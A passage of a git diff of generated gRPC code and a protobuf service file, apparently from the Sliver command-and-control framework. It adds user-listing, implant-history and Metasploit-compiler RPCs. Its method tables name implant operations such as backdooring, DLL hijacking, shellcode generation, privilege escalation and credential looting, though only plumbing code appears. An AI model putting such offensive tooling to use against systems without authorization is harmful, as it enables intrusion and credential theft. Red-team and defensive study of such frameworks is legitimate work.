+ 94, // 142: rpcpb.SliverRPC.Backdoor:input_type -> clientpb.BackdoorReq
+ 95, // 143: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq
+ 96, // 144: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq
+ 97, // 145: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq
+ 98, // 146: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq
+ 99, // 147: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq
+ 100, // 148: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq
+ 101, // 149: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
+ 102, // 150: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
+ 103, // 151: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
+ 104, // 152: rpcpb.SliverRPC.StartRportFwdListener:input_type -> sliverpb.RportFwdStartListenerReq
+ 105, // 153: rpcpb.SliverRPC.GetRportFwdListeners:input_type -> sliverpb.RportFwdListenersReq
+ 106, // 154: rpcpb.SliverRPC.StopRportFwdListener:input_type -> sliverpb.RportFwdStopListenerReq
+ 107, // 155: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
+ 108, // 156: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession
+ 109, // 157: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
+ 110, // 158: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
+ 111, // 159: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
+ 112, // 160: rpcpb.SliverRPC.RegisterWasmExtension:input_type -> sliverpb.RegisterWasmExtensionReq
+ 113, // 161: rpcpb.SliverRPC.ListWasmExtensions:input_type -> sliverpb.ListWasmExtensionsReq
+ 114, // 162: rpcpb.SliverRPC.ExecWasmExtension:input_type -> sliverpb.ExecWasmExtensionReq
+ 115, // 163: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
+ 116, // 164: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
+ 117, // 165: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
+ 118, // 166: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
+ 119, // 167: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
+ 120, // 168: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
+ 121, // 169: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
+ 122, // 170: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
+ 123, // 171: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
+ 123, // 172: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
+ 124, // 173: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
+ 125, // 174: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
+ 125, // 175: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
+ 126, // 176: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
+ 0, // 177: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
+ 127, // 178: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
+ 128, // 179: rpcpb.SliverRPC.GetUsers:output_type -> clientpb.Users
+ 0, // 180: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty
+ 0, // 181: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
+ 129, // 182: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
+ 0, // 183: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
+ 0, // 184: rpcpb.SliverRPC.ImplantHistory:output_type -> commonpb.Empty
+ 130, // 185: rpcpb.SliverRPC.GetImplantHistory:output_type -> clientpb.History
+ 131, // 186: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
+ 132, // 187: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
+ 0, // 188: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
+ 133, // 189: rpcpb.SliverRPC.MonitorListConfig:output_type -> clientpb.MonitoringProviders
+ 132, // 190: rpcpb.SliverRPC.MonitorAddConfig:output_type -> commonpb.Response
+ 132, // 191: rpcpb.SliverRPC.MonitorDelConfig:output_type -> commonpb.Response
+ 134, // 192: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.ListenerJob
+ 134, // 193: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.ListenerJob
+ 134, // 194: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.ListenerJob
+ 134, // 195: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.ListenerJob
+ 134, // 196: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.ListenerJob
+ 135, // 197: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
+ 12, // 198: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
+ 0, // 199: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
+ 136, // 200: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
+ 13, // 201: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
+ 13, // 202: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask
+ 137, // 203: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
+ 138, // 204: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
+ 0, // 205: rpcpb.SliverRPC.RestartJobs:output_type -> commonpb.Empty
+ 139, // 206: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
+ 17, // 207: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
+ 0, // 208: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
+ 17, // 209: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
+ 17, // 210: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
+ 140, // 211: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
+ 18, // 212: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials
+ 0, // 213: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty
+ 0, // 214: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty
+ 0, // 215: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty
+ 19, // 216: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential
+ 18, // 217: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials
+ 18, // 218: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials
+ 19, // 219: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential
+ 141, // 220: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
+ 20, // 221: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
+ 0, // 222: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
+ 0, // 223: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
+ 142, // 224: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
+ 143, // 225: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig
+ 0, // 226: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty
+ 143, // 227: rpcpb.SliverRPC.GenerateExternalGetBuildConfig:output_type -> clientpb.ExternalImplantConfig
+ 142, // 228: rpcpb.SliverRPC.GenerateStage:output_type -> clientpb.Generate
+ 0, // 229: rpcpb.SliverRPC.StageImplantBuild:output_type -> commonpb.Empty
+ 144, // 230: rpcpb.SliverRPC.GetHTTPC2Profiles:output_type -> clientpb.HTTPC2Configs
+ 145, // 231: rpcpb.SliverRPC.GetHTTPC2ProfileByName:output_type -> clientpb.HTTPC2Config
+ 0, // 232: rpcpb.SliverRPC.SaveHTTPC2Profile:output_type -> commonpb.Empty
+ 31, // 233: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event
+ 0, // 234: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty
+ 146, // 235: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders
+ 31, // 236: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event
+ 0, // 237: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty
+ 0, // 238: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty
+ 147, // 239: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations
+ 34, // 240: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask
+ 0, // 241: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty
+ 148, // 242: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles
+ 35, // 243: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile
+ 0, // 244: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty
+ 36, // 245: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk
+ 0, // 246: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty
+ 0, // 247: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty
+ 142, // 248: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
+ 149, // 249: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
+ 0, // 250: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
+ 150, // 251: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
+ 151, // 252: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
+ 152, // 253: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
+ 153, // 254: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
+ 0, // 255: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
+ 39, // 256: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
+ 154, // 257: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
+ 155, // 258: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
+ 156, // 259: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
+ 157, // 260: rpcpb.SliverRPC.GetMetasploitCompiler:output_type -> clientpb.MetasploitCompiler
+ 158, // 261: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode
+ 159, // 262: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap
+ 160, // 263: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap
+ 161, // 264: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests
+ 0, // 265: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty
+ 162, // 266: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
+ 44, // 267: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
+ 0, // 268: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
+ 44, // 269: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
+ 44, // 270: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
+ 44, // 271: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
+ 47, // 272: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
+ 163, // 273: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
+ 164, // 274: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
+ 165, // 275: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
+ 166, // 276: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
+ 167, // 277: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
+ 168, // 278: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
+ 168, // 279: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
+ 169, // 280: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
+ 170, // 281: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp
+ 171, // 282: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
+ 172, // 283: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
+ 173, // 284: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
+ 174, // 285: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
+ 175, // 286: rpcpb.SliverRPC.Grep:output_type -> sliverpb.Grep
+ 176, // 287: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod
+ 177, // 288: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown
+ 178, // 289: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes
+ 167, // 290: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls
+ 179, // 291: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd
+ 180, // 292: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm
+ 181, // 293: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
+ 182, // 294: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
+ 183, // 295: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
+ 184, // 296: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
+ 185, // 297: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
+ 186, // 298: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
+ 186, // 299: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
+ 186, // 300: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
+ 187, // 301: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
+ 188, // 302: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
+ 189, // 303: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
+ 189, // 304: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute
+ 190, // 305: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
+ 191, // 306: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
+ 192, // 307: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
+ 193, // 308: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner
+ 194, // 309: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
+ 0, // 310: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
+ 195, // 311: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
+ 196, // 312: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
+ 197, // 313: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
+ 197, // 314: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
+ 197, // 315: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
+ 198, // 316: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
+ 199, // 317: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
+ 200, // 318: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
+ 201, // 319: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
+ 202, // 320: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor
+ 203, // 321: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
+ 204, // 322: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
+ 205, // 323: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
+ 206, // 324: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
+ 207, // 325: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
+ 208, // 326: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
+ 209, // 327: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
+ 210, // 328: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
+ 211, // 329: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
+ 212, // 330: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener
+ 213, // 331: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners
+ 212, // 332: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener
+ 107, // 333: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
+ 0, // 334: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
+ 214, // 335: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
+ 215, // 336: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
+ 216, // 337: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
+ 217, // 338: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension
+ 218, // 339: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions
+ 219, // 340: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension
+ 220, // 341: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
+ 220, // 342: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
+ 221, // 343: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
+ 221, // 344: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
+ 222, // 345: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
+ 223, // 346: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
+ 224, // 347: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
+ 225, // 348: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
+ 123, // 349: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
+ 0, // 350: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
+ 124, // 351: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
+ 125, // 352: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
+ 0, // 353: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
+ 126, // 354: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
+ 31, // 355: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
+ 178, // [178:356] is the sub-list for method output_type
+ 0, // [0:178] is the sub-list for method input_type
0, // [0:0] is the sub-list for extension type_name
0, // [0:0] is the sub-list for extension extendee
0, // [0:0] is the sub-list for field type_name
diff --git a/protobuf/rpcpb/services.proto b/protobuf/rpcpb/services.proto
index 9ff0ab8e25..37423cbfda 100644
--- a/protobuf/rpcpb/services.proto
+++ b/protobuf/rpcpb/services.proto
@@ -8,20 +8,21 @@ import "clientpb/client.proto";
service SliverRPC {
- // *** Version ***
+ // *** Teamclient ***
rpc GetVersion(commonpb.Empty) returns (clientpb.Version);
+ rpc GetUsers(commonpb.Empty) returns (clientpb.Users);
// *** Client Logs ***
rpc ClientLog(stream clientpb.ClientLogData) returns (commonpb.Empty);
- // *** Operator Commands ***
- rpc GetOperators(commonpb.Empty) returns (clientpb.Operators);
-
// *** Generic ***
rpc Kill(sliverpb.KillReq) returns (commonpb.Empty);
rpc Reconfigure(sliverpb.ReconfigureReq) returns (sliverpb.Reconfigure);
rpc Rename(clientpb.RenameReq) returns (commonpb.Empty);
+ rpc ImplantHistory(stream clientpb.ImplantCommand) returns (commonpb.Empty);
+ rpc GetImplantHistory(clientpb.HistoryRequest) returns (clientpb.History);
+
// *** Sessions ***
rpc GetSessions(commonpb.Empty) returns (clientpb.Sessions);
@@ -135,6 +136,7 @@ service SliverRPC {
rpc MsfStage(clientpb.MsfStagerReq) returns (clientpb.MsfStager);
rpc ShellcodeRDI(clientpb.ShellcodeRDIReq) returns (clientpb.ShellcodeRDI);
rpc GetCompiler(commonpb.Empty) returns (clientpb.Compiler);
+ rpc GetMetasploitCompiler(commonpb.Empty) returns (clientpb.MetasploitCompiler);
rpc ShellcodeEncoder(clientpb.ShellcodeEncodeReq)
returns (clientpb.ShellcodeEncode);
rpc ShellcodeEncoderMap(commonpb.Empty)
diff --git a/protobuf/rpcpb/services_grpc.pb.go b/protobuf/rpcpb/services_grpc.pb.go
index 51d0c09b21..ae7c1b0fbf 100644
--- a/protobuf/rpcpb/services_grpc.pb.go
+++ b/protobuf/rpcpb/services_grpc.pb.go
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go-grpc. DO NOT EDIT.
// versions:
// - protoc-gen-go-grpc v1.3.0
-// - protoc v4.25.0
+// - protoc v3.15.8
// source: rpcpb/services.proto
package rpcpb
@@ -23,11 +23,13 @@ const _ = grpc.SupportPackageIsVersion7
const (
SliverRPC_GetVersion_FullMethodName = "/rpcpb.SliverRPC/GetVersion"
+ SliverRPC_GetUsers_FullMethodName = "/rpcpb.SliverRPC/GetUsers"
SliverRPC_ClientLog_FullMethodName = "/rpcpb.SliverRPC/ClientLog"
- SliverRPC_GetOperators_FullMethodName = "/rpcpb.SliverRPC/GetOperators"
SliverRPC_Kill_FullMethodName = "/rpcpb.SliverRPC/Kill"
SliverRPC_Reconfigure_FullMethodName = "/rpcpb.SliverRPC/Reconfigure"
SliverRPC_Rename_FullMethodName = "/rpcpb.SliverRPC/Rename"
+ SliverRPC_ImplantHistory_FullMethodName = "/rpcpb.SliverRPC/ImplantHistory"
+ SliverRPC_GetImplantHistory_FullMethodName = "/rpcpb.SliverRPC/GetImplantHistory"
SliverRPC_GetSessions_FullMethodName = "/rpcpb.SliverRPC/GetSessions"
SliverRPC_MonitorStart_FullMethodName = "/rpcpb.SliverRPC/MonitorStart"
SliverRPC_MonitorStop_FullMethodName = "/rpcpb.SliverRPC/MonitorStop"
@@ -102,6 +104,7 @@ const (
SliverRPC_MsfStage_FullMethodName = "/rpcpb.SliverRPC/MsfStage"
SliverRPC_ShellcodeRDI_FullMethodName = "/rpcpb.SliverRPC/ShellcodeRDI"
SliverRPC_GetCompiler_FullMethodName = "/rpcpb.SliverRPC/GetCompiler"
+ SliverRPC_GetMetasploitCompiler_FullMethodName = "/rpcpb.SliverRPC/GetMetasploitCompiler"
SliverRPC_ShellcodeEncoder_FullMethodName = "/rpcpb.SliverRPC/ShellcodeEncoder"
SliverRPC_ShellcodeEncoderMap_FullMethodName = "/rpcpb.SliverRPC/ShellcodeEncoderMap"
SliverRPC_TrafficEncoderMap_FullMethodName = "/rpcpb.SliverRPC/TrafficEncoderMap"
@@ -203,16 +206,17 @@ const (
//
// For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream.
type SliverRPCClient interface {
- // *** Version ***
+ // *** Teamclient ***
GetVersion(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Version, error)
+ GetUsers(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Users, error)
// *** Client Logs ***
ClientLog(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_ClientLogClient, error)
- // *** Operator Commands ***
- GetOperators(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Operators, error)
// *** Generic ***
Kill(ctx context.Context, in *sliverpb.KillReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
Reconfigure(ctx context.Context, in *sliverpb.ReconfigureReq, opts ...grpc.CallOption) (*sliverpb.Reconfigure, error)
Rename(ctx context.Context, in *clientpb.RenameReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
+ ImplantHistory(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_ImplantHistoryClient, error)
+ GetImplantHistory(ctx context.Context, in *clientpb.HistoryRequest, opts ...grpc.CallOption) (*clientpb.History, error)
// *** Sessions ***
GetSessions(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Sessions, error)
// ***Threat monitoring ***
@@ -301,6 +305,7 @@ type SliverRPCClient interface {
MsfStage(ctx context.Context, in *clientpb.MsfStagerReq, opts ...grpc.CallOption) (*clientpb.MsfStager, error)
ShellcodeRDI(ctx context.Context, in *clientpb.ShellcodeRDIReq, opts ...grpc.CallOption) (*clientpb.ShellcodeRDI, error)
GetCompiler(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Compiler, error)
+ GetMetasploitCompiler(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.MetasploitCompiler, error)
ShellcodeEncoder(ctx context.Context, in *clientpb.ShellcodeEncodeReq, opts ...grpc.CallOption) (*clientpb.ShellcodeEncode, error)
ShellcodeEncoderMap(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.ShellcodeEncoderMap, error)
TrafficEncoderMap(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.TrafficEncoderMap, error)
@@ -426,6 +431,15 @@ func (c *sliverRPCClient) GetVersion(ctx context.Context, in *commonpb.Empty, op
return out, nil
}
+func (c *sliverRPCClient) GetUsers(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Users, error) {
+ out := new(clientpb.Users)
+ err := c.cc.Invoke(ctx, SliverRPC_GetUsers_FullMethodName, in, out, opts...)
+ if err != nil {
+ return nil, err
+ }
+ return out, nil
+}
+
func (c *sliverRPCClient) ClientLog(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_ClientLogClient, error) {
stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[0], SliverRPC_ClientLog_FullMethodName, opts...)
if err != nil {
@@ -460,15 +474,6 @@ func (x *sliverRPCClientLogClient) CloseAndRecv() (*commonpb.Empty, error) {
return m, nil
}
-func (c *sliverRPCClient) GetOperators(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Operators, error) {
- out := new(clientpb.Operators)
- err := c.cc.Invoke(ctx, SliverRPC_GetOperators_FullMethodName, in, out, opts...)
- if err != nil {
- return nil, err
- }
- return out, nil
-}
-
func (c *sliverRPCClient) Kill(ctx context.Context, in *sliverpb.KillReq, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
err := c.cc.Invoke(ctx, SliverRPC_Kill_FullMethodName, in, out, opts...)
@@ -496,6 +501,49 @@ func (c *sliverRPCClient) Rename(ctx context.Context, in *clientpb.RenameReq, op
return out, nil
}
+func (c *sliverRPCClient) ImplantHistory(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_ImplantHistoryClient, error) {
+ stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[1], SliverRPC_ImplantHistory_FullMethodName, opts...)
+ if err != nil {
+ return nil, err
+ }
+ x := &sliverRPCImplantHistoryClient{stream}
+ return x, nil
+}
+
+type SliverRPC_ImplantHistoryClient interface {
+ Send(*clientpb.ImplantCommand) error
+ CloseAndRecv() (*commonpb.Empty, error)
+ grpc.ClientStream
+}
+
+type sliverRPCImplantHistoryClient struct {
+ grpc.ClientStream
+}
+
+func (x *sliverRPCImplantHistoryClient) Send(m *clientpb.ImplantCommand) error {
+ return x.ClientStream.SendMsg(m)
+}
+
+func (x *sliverRPCImplantHistoryClient) CloseAndRecv() (*commonpb.Empty, error) {
+ if err := x.ClientStream.CloseSend(); err != nil {
+ return nil, err
+ }
+ m := new(commonpb.Empty)
+ if err := x.ClientStream.RecvMsg(m); err != nil {
+ return nil, err
+ }
+ return m, nil
+}
+
+func (c *sliverRPCClient) GetImplantHistory(ctx context.Context, in *clientpb.HistoryRequest, opts ...grpc.CallOption) (*clientpb.History, error) {
+ out := new(clientpb.History)
+ err := c.cc.Invoke(ctx, SliverRPC_GetImplantHistory_FullMethodName, in, out, opts...)
+ if err != nil {
+ return nil, err
+ }
+ return out, nil
+}
+
func (c *sliverRPCClient) GetSessions(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Sessions, error) {
out := new(clientpb.Sessions)
err := c.cc.Invoke(ctx, SliverRPC_GetSessions_FullMethodName, in, out, opts...)
@@ -920,7 +968,7 @@ func (c *sliverRPCClient) SaveHTTPC2Profile(ctx context.Context, in *clientpb.HT
}
